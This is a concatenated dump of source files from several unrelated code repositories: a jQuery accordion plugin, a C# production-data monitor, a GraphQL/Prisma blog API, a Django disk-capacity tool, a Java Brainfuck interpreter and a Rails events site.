<div class="child"></div>
<div class="child"></div>
<div class="child"></div>
<div class="child"></div>
<div class="child"></div>
<div class="child"></div>
<div class="child"></div>
</div>
</pre>
==========
TECH INFO
Plugin work on framework jQuery 1.8+.
Support browsers IE6+, Safary2+, Opera11+, FF13+, Chrome 2+
<file_sep>/jquery.AccordionMIT.js
(function($){
jQuery.fn.AccordionMIT = function(options){
options = $.extend({
parentBlockRowsDefault: 2, //Count rows, shows when plugin is loaded
parentPadding: 20, //Margin button from parent block
elementColsInRow: 3, //Numbers elements in row
elementChild: ".child-element", //Child class in DOM structure
toggle: true, //Show button after click
toggleImg: "/i/arrow/down.png", //Button image
toggleWidth: "100%", //Width button
toggleHeight: 60, //Height кнопки
animateSpeed: 1000, //Animation speed
}, options);
//Check of integer
var isInteger = function(val) {
return (val ^ 0) === val;
}
//Controll of size
var controller = function(val) {
var totalCol = $(val).find(options.elementChild).length,
realRow = parseInt(totalCol/options.elementColsInRow);
if(realRow<=options.parentBlockRowsDefault) {
return true;
}
else return false;
}
//Assembly
var make = function(){
var element = $(this),
rowHeight = parseInt($(this).children(options.elementChild).css("height")) +
parseInt($(this).children(options.elementChild).css("margin-top")) +
parseInt($(this).children(options.elementChild).css("margin-bottom"))+
parseInt($(this).children(options.elementChild).css("border-top-width"))+
parseInt($(this).children(options.elementChild).css("border-bottom-width"))+
parseInt($(this).children(options.elementChild).css("padding-top"))+
parseInt($(this).children(options.elementChild).css("padding-bottom")),
sizeBlockDefault = rowHeight*options.parentBlockRowsDefault,
keyBlock = (Math.random() * (200 - 1) + 1).toFixed(0);
//Make parent block
$(this).addClass("AccordionMIT"+keyBlock)
.addClass('deactiveToggleU')
.attr("data-height-default",sizeBlockDefault);
var sizeControl = controller(".AccordionMIT"+keyBlock);
if(sizeControl==false) {
$(".AccordionMIT"+keyBlock).css("height",sizeBlockDefault);
$(this).after($('<div />')
.addClass('toggle')
.css({
"display" : "block",
"position" : "relative",
"bottom" : 0,
"width" : options.toggleWidth,
"height" : options.toggleHeight,
"background-image": "url("+options.toggleImg+")",
"background-position": "center",
"background-repeat": "no-repeat",
"cursor" :"pointer"
})
.attr("rel",".AccordionMIT"+keyBlock)
.click(function() {
var toggleSpan = $(this),
relToggle = $(this).attr("rel"),
countDivs = $(relToggle).find(options.elementChild).length,
rowsCount = countDivs/options.elementColsInRow;
if($(relToggle).hasClass("deactiveToggleU")) {
if(isInteger(rowsCount)==true) {
sizeBlock = rowsCount*rowHeight+options.parentPadding;
}
else {
var intRowsCount = parseInt(rowsCount);
sizeBlock = ((intRowsCount + 1) * rowHeight) + options.parentPadding;
}
if(options.toggle==false) {
$(this).fadeOut(options.animateSpeed);
}
$(relToggle).animate({height:sizeBlock},options.animateSpeed).removeClass("deactiveToggleU").addClass("activeToggleU");
toggleSpan.addClass("up-img");
}
else {
$(relToggle).animate({height:sizeBlockDefault},options.animateSpeed).removeClass("activeToggleU").addClass("deactiveToggleU");
toggleSpan.removeClass("up-img");
}
}));
}
};
return this.each(make);
};
})(jQuery);
| 6234bad3c58cd1e6ea73d8ee3a11a3049db42a3e | [
"Markdown",
"JavaScript"
] | 2 | Markdown | mit24/accordionMIT | b674c413a73bc4bfb1ba1e70bc19965c8bc2b6ad | 7f56deefd531caf10b7412710ac8f313288218f3 |
refs/heads/master | <repo_name>PaloMraz/ProductionDataMonitoring<file_sep>/PdmWebClient/Client/UptimeMachine.ts
/// <reference path="../scripts/typings/jquery/jquery.d.ts" />
/// <reference path="../scripts/typings/flot/jquery.flot.d.ts" />
module App {
export class UptimeMachineService {
private _setIntervalHandle: number;
public constructor(
private _getValuesPollingUrl: string,
private _tagId: string,
private _systemVersion: number,
private _displayElement: JQuery) {
$.ajaxSettings.cache = false;
this._setIntervalHandle = setInterval(() => this.onTimer(), 2000);
}
private onTimer() {
$.getJSON(this._getValuesPollingUrl + "?tagId=" + this._tagId).then(
(data) => this.processData(data),
(xhr: JQueryXHR, textStatus: string, error: any) => this.processError(xhr, textStatus, error));
}
private processData(data: any) {
if (data.SystemVersion > this._systemVersion) {
clearInterval(this._setIntervalHandle);
this._displayElement.text(`Detected new client version ${data.SystemVersion}, reloading...`);
setInterval(() => window.location.reload(true), 2000);
} else {
let currentDate = new Date(data.CurrentTimeUnixMilliseconds);
let currentEffectivityValue: number = data.CurrentEffectivity;
this._displayElement.text(
`CURRENT DATE: ${currentDate.toLocaleDateString()},
AND TIME: ${currentDate.toLocaleTimeString()},
CURRENT VALUE: ${currentEffectivityValue}`);
}
}
private processError(xhr: JQueryXHR, textStatus: string, errorThrown: any) {
console.log(xhr);
this._displayElement.text(`Communication error: textStatus=${textStatus}, error: ${errorThrown}, retrying...`);
}
}
}<file_sep>/PdmData/DataPoint.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PdmData
{
public class DataPoint<T>
{
public DateTimeOffset Time { get; set; }
public T Value { get; set; }
}
}
<file_sep>/PdmWebClient/Models/UptimeMachineDataModel.cs
using PdmData;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Web;
namespace PdmWebClient.Models
{
public class UptimeMachineDataModel
{
public UptimeMachineDataModel(UptimeMachineData data, int systemVersion)
{
this.SystemVersion = systemVersion;
this.TagId = data.TagId;
this.CurrentEffectivity = data.CurrentEffectivity;
this.CurrentTime = data.CurrentTime;
this.EffectivityHistory = new List<DataPointWithUnixTime<float>>(
data.EffectivityHistory.Select(item => new DataPointWithUnixTime<float>(item)));
}
public string TagId { get; private set; }
public DateTimeOffset CurrentTime { get; private set; }
public long CurrentTimeUnixMilliseconds
{
get { return this.CurrentTime.ToUnixTimeMilliseconds(); }
}
public float CurrentEffectivity { get; private set; }
public IEnumerable<DataPointWithUnixTime<float>> EffectivityHistory { get; private set; }
public int SystemVersion { get; private set; }
}
}<file_sep>/PdmContracts/IDataRepository.cs
using PdmData;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PdmContracts
{
public interface IUptimeMachineDataRepository
{
Task<UptimeMachineData> GetUptimeMachineDataAsync(string tagId);
}
}
<file_sep>/PdmData/UptimeMachineData.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace PdmData
{
public class UptimeMachineData
{
public string TagId { get; set; }
public DateTimeOffset CurrentTime { get; set; }
public float CurrentEffectivity { get; set; }
public IEnumerable<DataPoint<float>> EffectivityHistory { get; set; }
}
}<file_sep>/PdmWebClient/Models/UptimeMachineSetupModel.cs
using PdmData;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Web;
namespace PdmWebClient.Models
{
public class UptimeMachineSetupModel
{
public UptimeMachineSetupModel(
string getValuesPollingUrl,
string tagId,
int systemVersion,
string versionedCssUrl,
string versionedJavaScriptUrl)
{
this.GetValuesPollingUrl = getValuesPollingUrl;
this.TagId = tagId;
this.SystemVersion = systemVersion;
this.VersionedCssUrl = versionedCssUrl;
this.VersionedJavaScriptUrl = versionedJavaScriptUrl;
}
public string TagId { get; private set; }
public string GetValuesPollingUrl { get; private set; }
public int SystemVersion { get; private set; }
public string VersionedCssUrl { get; private set; }
public string VersionedJavaScriptUrl { get; private set; }
}
}<file_sep>/PdmWebClient/Controllers/UptimeMachineController.cs
using PdmData;
using PdmWebClient.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Web;
using System.Web.Mvc;
namespace PdmWebClient.Controllers
{
[RoutePrefix(Constants.RoutePrefix)]
public class UptimeMachineController : Controller
{
private static int CurrentSystemVersion
{
get
{
string currentVersionString = System.Configuration.ConfigurationManager.AppSettings["CurrentSystemVersion"];
int currentVersion;
if (!int.TryParse(currentVersionString, out currentVersion))
{
currentVersion = 1;
}
return currentVersion;
}
}
/// <summary>
/// Na toto URL pôjde browser po štarte a na toto sa vykonáva aj auto-refresh z klienta pri zistení
/// vyššej verzie.
/// </summary>
[Route(Constants.IndexRoute), HttpGet()]
public async Task<ActionResult> IndexAsync()
{
await Task.Delay(1); // zatiaľ nemáme async calls tak to emulujeme takto...
// Model pre parametrizáciu klientskeho skriptu.
string basePollingUrl = this.GenerateContentUrl($"{Constants.RoutePrefix}/{Constants.GetValuesRoute}/");
string hostIP = this.Request.UserHostAddress;
string hostName = this.Request.UserHostName;
var model = new UptimeMachineSetupModel(
getValuesPollingUrl: basePollingUrl,
tagId: hostIP,
systemVersion: CurrentSystemVersion,
versionedCssUrl: this.GenerateVersionedCssUrl(),
versionedJavaScriptUrl: this.GenerateVersionedJavaScriptUrl());
return this.View("Index", model);
}
/// <summary>
/// Toto volá klient periodicky cez Ajax.
/// </summary>
[Route(Constants.GetValuesRoute)]
public async Task<ActionResult> GetValuesAsync(string tagId)
{
await Task.Delay(1); // zatiaľ nemáme async calls tak to emulujeme takto...
// Vygenerujeme si nejaké random údaje - v reále to budeme čítať z DB.
var random = new Random();
const int DataPointCount = 50;
const float MaxDataPointValue = 1000;
var dataPoints = Enumerable.Range(0, DataPointCount - 1)
.Select(i => new DataPoint<float>() { Time = DateTimeOffset.Now.AddMinutes(i - DataPointCount), Value = (float)(random.NextDouble() * MaxDataPointValue) });
var data = new UptimeMachineData()
{
CurrentEffectivity = dataPoints.Last().Value,
CurrentTime = DateTimeOffset.Now,
TagId = tagId,
EffectivityHistory = dataPoints
};
var model = new UptimeMachineDataModel(data: data, systemVersion: CurrentSystemVersion);
// Vraciame explicitne JSON.
return this.Json(model, JsonRequestBehavior.AllowGet);
}
/// <summary>
/// Táto action metóda generuje AppCache manifest - FMI: https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache
/// </summary>
[Route(Constants.GetAppCacheManifestRoute), HttpGet()]
public ActionResult GetAppCacheManifest()
{
string manifestText = string.Format(
@"CACHE MANIFEST
# SystemVersion {0} - forces refreshing the app cache
{1}
{2}
{3}
NETWORK:
*
",
CurrentSystemVersion,
this.GenerateContentUrl("bundles/jquery"),
this.GenerateVersionedCssUrl(),
this.GenerateVersionedJavaScriptUrl());
return this.Content(manifestText, Constants.AppCacheManifestContentType, System.Text.Encoding.UTF8);
}
private string GenerateVersionedCssUrl()
{
return this.GenerateVersionedContentUrl("Content/site.css");
}
private string GenerateVersionedJavaScriptUrl()
{
return this.GenerateVersionedContentUrl("Client/_generated.js");
}
private string GenerateContentUrl(string path)
{
return UrlHelper.GenerateContentUrl("~/" + path, this.HttpContext);
}
private string GenerateVersionedContentUrl(string path)
{
return this.GenerateContentUrl(path + "?v=" + CurrentSystemVersion.ToString());
}
private static class Constants
{
public const string RoutePrefix = "uptime-machine";
public const string IndexRoute = "index";
public const string GetValuesRoute = "get-values";
public const string GetAppCacheManifestRoute = "app-cache-manifest";
public const string AppCacheManifestContentType = "text/cache-manifest";
}
}
}<file_sep>/PdmWebClient/Models/DataPointWithUnixTime.cs
using PdmData;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace PdmWebClient.Models
{
public class DataPointWithUnixTime<T> : DataPoint<T>
{
public DataPointWithUnixTime()
{ }
public DataPointWithUnixTime(DataPoint<T> other)
{
this.Time = other.Time;
this.Value = other.Value;
}
public long TimeUnixMilliseconds { get { return this.Time.ToUnixTimeMilliseconds(); } }
}
} | 79866891fb5abf1f8205062115cc68b18802e476 | [
"C#",
"TypeScript"
] | 8 | TypeScript | PaloMraz/ProductionDataMonitoring | ded9b2c9ea8ca5179e7927d3d84223d7296c5275 | 6216aafd7648768cffde1393a6eb7a1ccd4434c0 |
refs/heads/master | <repo_name>wizeowl/graphql-bootcamp<file_sep>/data/createTestData.js
import { validateAndHashPassword } from '../src/utils/validateAndHashPassword';
import { seedComments, seedPosts, seedUsers } from './seeds';
import { prisma } from '../src/prisma';
const createTestData = async () => {
const start = new Date();
const password = await validateAndHashPassword('<PASSWORD>');
await Promise.all(
seedUsers(100, password).map(user =>
prisma.mutation.createUser({ data: user })
)
);
const users = await prisma.query.users(null, '{ id }');
await Promise.all(
seedPosts(500, users).map(post =>
prisma.mutation.createPost({ data: post })
)
);
const posts = await prisma.query.posts(null, '{ id }');
await Promise.all(
seedComments(1000, users, posts).map(comment =>
prisma.mutation.createComment({ data: comment })
)
);
const end = new Date();
const duration = (end - start) / 1000;
console.log(`took ${duration} s`);
};
createTestData();
<file_sep>/src/resolvers/Mutation/post.mutations.js
import { getUserId } from '../../utils/getUserId';
export const createPost = (
parent,
{ data: { title, body, published } },
{ prisma, request },
info
) => {
const userId = getUserId(request);
const data = {
title,
body,
published,
author: { connect: { id: userId } }
};
return prisma.mutation.createPost({ data }, info);
};
export const updatePost = async (
parent,
{ id, data },
{ prisma, request },
info
) => {
const userId = getUserId(request);
const postExists = await prisma.exists.Post({
id,
author: { id: userId }
});
if (!postExists) {
throw new Error('Post not found');
}
const isPublished = await prisma.exists.Post({
id,
published: true
});
if (
isPublished &&
typeof data.published !== 'undefined' &&
!data.published
) {
await prisma.mutation.deleteManyComments({
where: { post: { id } }
});
}
return prisma.mutation.updatePost({ data, where: { id } }, info);
};
export const deletePost = async (
parent,
{ id },
{ prisma, request },
info
) => {
const userId = getUserId(request);
const postExists = await prisma.exists.Post({
id,
author: { id: userId }
});
if (!postExists) {
throw new Error('Post not found');
}
return prisma.mutation.deletePost({ where: { id } }, info);
};
<file_sep>/src/resolvers/Query.js
import { getUserId } from '../utils/getUserId';
const buildQuery = query =>
(query && {
OR: [{ title_contains: query }, { body_contains: query }]
}) ||
{};
export const Query = {
me(_, args, { prisma, request }, info) {
const id = getUserId(request);
return prisma.query.user({ where: { id } }, info);
},
users(
parent,
{ query, first, skip, after, orderBy },
{ prisma },
info
) {
const where = query && {
where: { OR: [{ name_contains: query }] }
};
const opArgs = { first, skip, after, orderBy, ...(where || {}) };
return prisma.query.users(opArgs, info);
},
myPosts(
parent,
{ query, first, skip, after, orderBy },
{ prisma, request },
info
) {
const id = getUserId(request);
const opArgs = {
first,
skip,
after,
orderBy,
where: { author: { id }, ...buildQuery(query) }
};
return prisma.query.posts(opArgs, info);
},
posts(
parent,
{ query, first, skip, after, orderBy },
{ prisma },
info
) {
const opArgs = {
first,
skip,
after,
orderBy,
where: {
published: true,
...buildQuery(query)
}
};
return prisma.query.posts(opArgs, info);
},
async post(parent, { id }, { prisma, request }) {
const userId = getUserId(request, false);
const [post] = await prisma.query.posts({
where: {
id,
OR: [{ published: true }, { author: { id: userId } }]
}
});
if (!post) {
throw new Error('Post not found');
}
return post;
},
comments(
parent,
{ query, first, skip, after, orderBy },
{ prisma },
info
) {
const where = query && {
where: { text_contains: query }
};
const opArgs = { first, skip, after, orderBy, ...(where || {}) };
return prisma.query.comments(opArgs, info);
}
};
<file_sep>/src/resolvers/Mutation/comment.mutations.js
import { getUserId } from '../../utils/getUserId';
export const createComment = async (
parent,
{ data: { text, post } },
{ prisma, request },
info
) => {
const author = getUserId(request);
const postExists = await prisma.exists.Post({
id: post,
published: true
});
if (!postExists) {
throw new Error('Post not found');
}
const data = {
text,
author: { connect: { id: author } },
post: { connect: { id: post } }
};
return prisma.mutation.createComment({ data }, info);
};
export const updateComment = async (
parent,
{ id, data },
{ prisma, request },
info
) => {
const userId = getUserId(request);
const commentExists = await prisma.exists.Comment({
id,
author: { id: userId }
});
if (!commentExists) {
throw new Error('Comment not found');
}
return prisma.mutation.updateComment({ data, where: { id } }, info);
};
export const deleteComment = async (
parent,
{ id },
{ prisma, request },
info
) => {
const userId = getUserId(request);
const commentExists = await prisma.exists.Comment({
id,
author: { id: userId }
});
if (!commentExists) {
throw new Error('Comment not found');
}
return prisma.mutation.deleteComment({ where: { id } }, info);
};
| 7322e0c6cc502b62044a2d1f2c7cde0a3755ebe3 | [
"JavaScript"
] | 4 | JavaScript | wizeowl/graphql-bootcamp | e0b3675762bb4693778b7fa91aa119baf93bad47 | c2971f01e6d64c6941b7eabbd71e670f351d0abe |
refs/heads/master | <file_sep>#GeoJSON Example
AngularJS / Express / mongoDB / NodeJS example of using GeoJSON to store and query location data.
For more information (and screen shots), see [Fun with mongoDB and GeoJSON](http://wsmoak.net/2014/11/24/fun-with-mongodb-and-geojson.html) on [wsmoak.net](http://wsmoak.net).
```sh
npm install
(make sure mongoDB is running locally)
node server.js
```
The app allows you to add items to the database.
An item consists of a description and a location. A location is a point specified by latitude and longitude.
Validation on the form requires latitude to be between -90 and 90, while longitude is between -180 and 180.
Once you have added some points, you can query the items to find the ones within a box from [0,0] to the point you specify.
Try adding points with locations [3,5] and [25,72], and then querying using [10,10] and [30,80].
For more information on GeoJSON, see http://geojson.org .
For information on using GeoJSON with mongoDB, see http://blog.mongolab.com/2014/08/a-primer-on-geospatial-data-and-mongodb/ .
<file_sep>angular.module('geojsonApp',[])
.controller('MainCtrl', ['$http', function($http) {
var self = this;
self.items = [];
self.queryItems = [];
self.item = {};
self.query = {};
self.currentTab = 'home';
var resetItemModel = function() {
self.item={};
self.item.location={};
self.item.location.coordinates=[];
};
resetItemModel();
var fetchItems = function() {
return $http.get('/api/item')
.then(
function(response){
self.items = response.data;
},
function(errResponse) {
console.log(errResponse);
console.error('Error while fetching items');
}
);
};
fetchItems();
self.add = function() {
self.item.location.type = "Point";
$http.post('/api/item', self.item)
.then(fetchItems)
.then( function(response) {
resetItemModel();
self.currentTab = 'items';
});
};
self.inquire = function() {
console.log(self.query);
$http.post('/api/query', self.query)
.then( function(response) {
self.queryItems = response.data;
self.currentTab = 'query';
});
};
self.delete = function(id) {
$http.delete('/api/item/' + id)
.then(fetchItems)
.then(
function(response) {
console.log("after delete and fetch");
self.currentTab = 'items';
},
function(error) {
console.log(error);
console.log("Error deleting item");
});
};
}]);
<file_sep>
describe('Controller: MainCtrl', function() {
// new instance of the module before each test
beforeEach(module('geojsonApp'));
var ctrl;
//new instance of the controller before each test
beforeEach(inject(function($controller) {
ctrl = $controller('MainCtrl');
}));
it('should have items available on load', function() {
expect(ctrl.items).toBeDefined();
});
}); | bab7941de85f1a5183e80282dabd3086c051f62b | [
"Markdown",
"JavaScript"
] | 3 | Markdown | wsmoak/geojson-example | 1b56f919ba37b061f1284e522ae9c03d6867df99 | 2ee92579520e19fd330c1b84dffc134de46c9040 |
refs/heads/master | <repo_name>dtlisir/stage2<file_sep>/get_dfinfo/views.py
# -*- coding: utf-8 -*-
from django.shortcuts import render
from django.http import JsonResponse
from blueking.component.shortcuts import get_client_by_request
def home(request):
"""
Home Page
"""
return render(request, 'get_dfinfo/home.html')
def get_dfinfo(request):
ip = request.GET.get('ip')
os = request.GET.get('os')
mounted = request.GET.get('mounted')
# 调用自己开发的API组件
client = get_client_by_request(request)
kwargs = {
'ip': ip,
'os': os,
'mounted': mounted,
'token': <PASSWORD>^',
}
resp = client.dim.get_dfinfo(**kwargs)
return JsonResponse({'result': resp['result'], 'data': resp['data'], 'message': resp['message']})
<file_sep>/home_application/api_views.py
# -*- coding: utf-8 -*-
from django.http import JsonResponse
from blueapps.account.decorators import login_exempt
from home_application.models import CapacityData
TOKEN = <PASSWORD>^'
@login_exempt
def get_dfinfo_lisir(request):
"""
获取磁盘容量数据 API
"""
ip = request.GET.get('ip', '')
# os = request.GET.get('os', '')
mounted = request.GET.get('mounted', '')
token = request.GET.get('token', '')
if token != TOKEN:
return JsonResponse({'result': 'false', 'data': [], 'message': "Token Authentication Failed"})
capacitydatas = CapacityData.objects.all()
if ip:
capacitydatas = capacitydatas.filter(ip=ip)
# if filesystem:
# capacitydatas = capacitydatas.filter(filesystem=filesystem)
if mounted:
capacitydatas = capacitydatas.filter(mounted=mounted)
datalist = []
if capacitydatas:
for _data in capacitydatas:
datalist.append(
{
'ip': _data.ip,
# 'filesystem': _data.filesystem,
'mounted': _data.mounted,
'used': _data.used,
'avail': _data.avail,
'size': _data.size,
'use': _data.use,
'createtime': _data.createtime.strftime('%Y-%m-%d %H:%M:%S')
}
)
return JsonResponse({'result': 'true', 'data': datalist, 'message': 'Success'})
<file_sep>/get_dfinfo/apps.py
from django.apps import AppConfig
class GetDfinfoConfig(AppConfig):
name = 'get_dfinfo'
<file_sep>/home_application/utils.py
# -*- coding: utf-8 -*-
# 该示例中使用云API V2版本
from home_application.models import CapacityData
from config import APP_CODE, SECRET_KEY
def get_job_instance_id(client, biz_id, ip, job_id=0, script_id=0): # 作业ID和脚本ID二选一
"""
执行Job作业/script脚本
"""
if job_id:
# 获取作业模板参数详情
kwargs = {
'bk_app_code': APP_CODE,
'bk_app_secret': SECRET_KEY,
'bk_biz_id': biz_id,
'bk_job_id': job_id,
}
resp = client.job.get_job_detail(kwargs)
steps_args = []
if resp.get('result'):
data = resp.get('data', {})
steps = data.get('steps', [])
# 组装步骤参数
for _step in steps:
steps_args.append(
{
'step_id': int(_step.get('step_id')),
'ip_list': [{
'bk_cloud_id': 0,
'ip': ip,
}],
}
)
# 执行作业
kwargs = {
'bk_app_code': APP_CODE,
'bk_app_secret': SECRET_KEY,
'bk_biz_id': biz_id,
'bk_job_id': job_id,
'steps': steps_args,
}
resp = client.job.execute_job(kwargs)
if resp.get('result'):
job_instance_id = resp.get('data').get('job_instance_id')
else:
job_instance_id = -1
return resp.get('result'), job_instance_id
if script_id:
kwargs = {
'bk_app_code': APP_CODE,
'bk_app_secret': SECRET_KEY,
'bk_biz_id': biz_id,
'script_id': script_id,
'account': "root",
'ip_list': [{"bk_cloud_id": 0, "ip": ip}]
}
resp = client.job.fast_execute_script(kwargs)
if resp.get('result'):
job_instance_id = resp.get('data').get('job_instance_id')
else:
job_instance_id = -1
return resp.get('result'), job_instance_id
def get_host_capaticy(client, biz_id, job_instance_id, ip):
"""
获取磁盘容量数据
"""
kwargs = {
'bk_app_code': APP_CODE,
'bk_app_secret': SECRET_KEY,
'bk_biz_id': biz_id,
'job_instance_id': job_instance_id,
}
resp = client.job.get_job_instance_log(kwargs)
is_finish = False
capacity_data = []
if resp.get('result'):
data = resp.get('data')
logs = ''
for _d in data:
if _d.get('is_finished'):
is_finish = True
logs = _d['step_results'][0].get('ip_logs')[0].get('log_content')
break
logs = logs.split('\n')
logs = [_l.split(' ') for _l in logs]
for log in logs[2:]:
_l_new = [_l for _l in log if _l != '']
if _l_new and len(_l_new) >= 5:
capacity_data.append({
'ip': ip,
'Filesystem': _l_new[0],
'Size': _l_new[1],
'Used': _l_new[2],
'Avail': _l_new[3],
'Use%': _l_new[4],
'Mounted': _l_new[5],
})
# 数据入库
_l_new.append(ip)
CapacityData.objects.save_data(_l_new)
return is_finish, capacity_data
<file_sep>/blueking/component/apis/dim.py
# -*- coding: utf-8 -*-
from ..base import ComponentAPI
class CollectionsDIM(object):
"""Collections of DIM APIS"""
def __init__(self, client):
self.client = client
self.get_dfinfo = ComponentAPI(
client=self.client, method='GET',
path='/api/c/self-service-api/dim/get_dfinfo_lisir/',
description=u'磁盘信息查询'
)<file_sep>/home_application/api_urls.py
# -*- coding: utf-8 -*-
from django.conf.urls import url
from home_application import api_views
urlpatterns = (
url(r'^get_dfinfo_lisir/$', api_views.get_dfinfo_lisir),
)<file_sep>/home_application/migrations/0001_initial.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2019-05-19 15:34
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CapacityData',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('ip', models.CharField(blank=True, max_length=64, null=True, verbose_name='ip')),
('filesystem', models.CharField(max_length=64, verbose_name='filesystem')),
('size', models.CharField(max_length=64, verbose_name='size')),
('used', models.CharField(max_length=64, verbose_name='used')),
('avail', models.CharField(max_length=64, verbose_name='avail')),
('use', models.CharField(max_length=64, verbose_name='Use%')),
('mounted', models.TextField(max_length=64, verbose_name='mounted')),
('createtime', models.DateTimeField(verbose_name='保存时间')),
],
options={
'verbose_name': '磁盘容量数据',
'verbose_name_plural': '磁盘容量数据',
},
),
]
<file_sep>/home_application/urls.py
# -*- coding: utf-8 -*-
"""testapp URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url
from home_application import views
urlpatterns = (
url(r'^$', views.home),
# 表单下拉数据获取及渲染
url(r'^get_biz_list/$', views.get_biz_list),
url(r'^get_ip_by_bizid/$', views.get_ip_by_bizid),
url(r'^get_job_list/$', views.get_joblist_by_bizid),
url(r'^get_script_list/$', views.get_scriptlist_by_bizid),
# 执行作业/脚本,获取容量数据
url(r'^execute_job/$', views.execute_job),
url(r'^get_capacity/$', views.get_capacity),
# 获取视图数据
url(r'^chartdata/$', views.get_capacity_chartdata),
)
| efedce172fe190409b999a7b53ba0edb9e249b98 | [
"Python"
] | 8 | Python | dtlisir/stage2 | d8db349cf569392ef93a89ac3e9e57dd59844256 | 3adbe2093d2ab24adc21bfc50512dae61100f4c7 |
refs/heads/master | <repo_name>charles-menard/brainf-ck-interpreter<file_sep>/brainfuckint/main.java
package brainfuckint;
import java.io.Console;
import java.util.Scanner;
public class main {
public static void main(String[] args) {
// TODO Auto-generated method stub
BrainfuckInterpreter y = new BrainfuckInterpreter();
Scanner codeInput = new Scanner( System.in );
System.out.println("Entrez le code à interpréter :"+"\n");
String code = codeInput.nextLine();
y.Execute(code);
codeInput.close();
}
}
<file_sep>/README.md
# brainf*ck-int-in-java
a small brainf_ck interpreter written in java.
<file_sep>/brainfuckint/BrainfuckInterpreter.java
package brainfuckint;
import java.util.Scanner;
import java.util.ArrayList;
public class BrainfuckInterpreter {
private ArrayList<Integer> _dataHolder;
private int _dataIndex;
private Scanner _inputScanner = new Scanner(System.in);
public BrainfuckInterpreter() {
_dataHolder = new ArrayList<Integer>();
_dataHolder.add(0);
_dataIndex = 0;
}
public void Execute(String InputCode) {
char[] instructions = InputCode.toCharArray();
int instructionIndex = 0;
while (instructionIndex < instructions.length) {
char instructionChar = instructions[instructionIndex];
switch (instructionChar) {
case ',':
int numberInput = (int) _inputScanner.nextLine().charAt(0);
_dataHolder.set(_dataIndex, numberInput);
break;
case '.':
int letterValue = _dataHolder.get(_dataIndex);
char letterOutput = (char) letterValue;
System.out.println(letterOutput);
break;
case '<':
if (_dataIndex > 0) {
_dataIndex--;
}
break;
case '>':
_dataIndex++;
if (_dataHolder.size() == _dataIndex) {
_dataHolder.add(0);
}
break;
case '+':
_dataHolder.set(_dataIndex, _dataHolder.get(_dataIndex) + 1);
break;
case '-':
if (_dataHolder.get(_dataIndex) > 0) {
_dataHolder.set(_dataIndex, _dataHolder.get(_dataIndex) - 1);
}
break;
case '[':
instructionIndex++;
StringBuilder bracketContent = new StringBuilder();
int bracketLevel = 1;
do {
if (instructions[instructionIndex] == ']') {
bracketLevel--;
}
if (instructions[instructionIndex] == '[') {
bracketLevel++;
}
if (bracketLevel > 0) {
bracketContent.append(instructions[instructionIndex]);
instructionIndex++;
}
} while (bracketLevel > 0);
while (_dataHolder.get(_dataIndex) != 0) {
Execute(bracketContent.toString());
}
break;
}
instructionIndex++;
}
}
} | 2cf06e0fcb37655c8d98b10d2949b43dda6c7358 | [
"Markdown",
"Java"
] | 3 | Java | charles-menard/brainf-ck-interpreter | d36543a9ff157fe1dca5072af3a6cfbbd0033113 | 6be15067c9c00d17563d70d975507f9b2b5092e5 |
refs/heads/master | <file_sep>using Calendario.View;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Calendario
{
public partial class frmLogin : Form
{
public frmLogin()
{
InitializeComponent();
}
private void LklRegister_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
frmRegister registro = new frmRegister();
registro.Show();
}
}
}
<file_sep># Desafio_TokenLab
Desafio técnico processo seletivo 2019 da TokenLab
| 3d179593bcd68935e2ed3c47da0a6082f8e5f9e8 | [
"Markdown",
"C#"
] | 2 | C# | La-Scalea/Desafio_TokenLab | dddb930b3edde478e83424239e33c47418e9db18 | 1984758a71d96fb72b3b22af7ef9749cab0a3358 |
refs/heads/master | <repo_name>ITyuri/MyProject<file_sep>/app/controllers/organizers_controller.rb
class OrganizersController < ApplicationController
def index
@organizers = Organizer.paginate(:page => params[:page], :per_page => 6).order(:name)
end
def show
@organizer = Organizer.find(params[:id])
@events = @organizer.events
end
private def organizer_params
params.require(:organizer).permit(:name, :description, :image)
end
end
<file_sep>/db/migrate/20180216183913_remove_organizer_link_from_events.rb
class RemoveOrganizerLinkFromEvents < ActiveRecord::Migration[5.1]
def change
remove_column :events, :organizer_link, :string
end
end
<file_sep>/app/controllers/events_controller.rb
class EventsController < ApplicationController
def index
@events = Event.paginate(:page => params[:page], :per_page => 3).order('id DESC')
end
def show
@event = Event.find(params[:id])
@org_id = Event.find(params[:id]).organizer_id
@organizer = Organizer.find(@org_id)
end
private def event_params
params.require(:event).permit(:name, :city, :address,
:description, :image, :date,
:external_link, :organizer_id)
end
end
<file_sep>/app/models/organizer.rb
class Organizer < ApplicationRecord
has_many :events
end
<file_sep>/app/controllers/admin_controller.rb
class AdminController < ApplicationController
def index
if user_signed_in?
if !current_user.admin
redirect_to events_path
end
else
redirect_to new_user_session_url
end
end
end
<file_sep>/app/models/event.rb
class Event < ApplicationRecord
belongs_to :organizer
mount_uploader :image, ImageUploader
validates :name, presence: true
validates :city, presence: true
validates :description, presence: true
validates :address, presence: true
validates :date, presence: true
validates :image, presence: true
end
